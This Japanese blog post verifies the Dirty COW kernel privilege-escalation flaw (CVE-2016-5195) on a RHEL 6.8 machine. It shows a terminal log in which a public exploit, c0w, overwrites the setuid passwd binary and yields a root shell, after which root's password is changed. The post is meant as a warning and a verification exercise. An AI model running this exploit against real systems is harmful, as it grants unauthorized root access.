先日発表されたLinux kernel特権昇格の脆弱性CVE-2016-5195ですがexploit codeがすでに多く出回っています｡
linux kernelに特権昇格の脆弱性(Dirty COW: CVE-2016-5195)
https://oss.sios.com/security/kernel-security-20161021
RedHat CVE-2016-5195
https://access.redhat.com/security/cve/cve-2016-5195
RedHat/CentOSでは5,6,7で影響を受けます｡Exploit codeが入手できたので検証してみました｡
【検証環境】
･Red Hat Enterprise Linux Server release 6.8 (Santiago)
･Kernel: 2.6.32-642.el6.x86_64
･Exploit code: c0w.c
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
[matsuoka@rhel6 ~]$ ll /usr/bin/passwd -rwsr-xr-x. 1 root root 30768 Nov 3 2015 /usr/bin/passwd [matsuoka@rhel6 ~]$ ./c0w (___) (o o)_____/ @@ ` \ \ ____, //usr/bin/passwd // // ^^ ^^ DirtyCow root privilege escalation Backing up /usr/bin/passwd to /tmp/bak mmap 78e8f000 madvise 0 ptrace 0 [matsuoka@rhel6 ~]$ whoami matsuoka [matsuoka@rhel6 ~]$ ll /usr/bin/passwd -rwsr-xr-x. 1 root root 30768 Nov 3 2015 /usr/bin/passwd [matsuoka@rhel6 ~]$ file /usr/bin/passwd /usr/bin/passwd: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, corrupted section header size [matsuoka@rhel6 ~]$ ll /tmp/bak -rwxr-xr-x 1 matsuoka matsuoka 30768 Oct 22 12:02 /tmp/bak [matsuoka@rhel6 ~]$ /usr/bin/passwd [root@rhel6 matsuoka]# whoami root [root@rhel6 matsuoka]# id uid=0(root) gid=500(matsuoka) groups=500(matsuoka) [root@rhel6 matsuoka]# /tmp/bak Changing password for user root. New password: Retype new password: bak: all authentication tokens updated successfully. |
※注意※
誰でも入手できるExploit codeが多数出回っています｡
個人的興味と､注意喚起を兼ねてこの記事を記載しています｡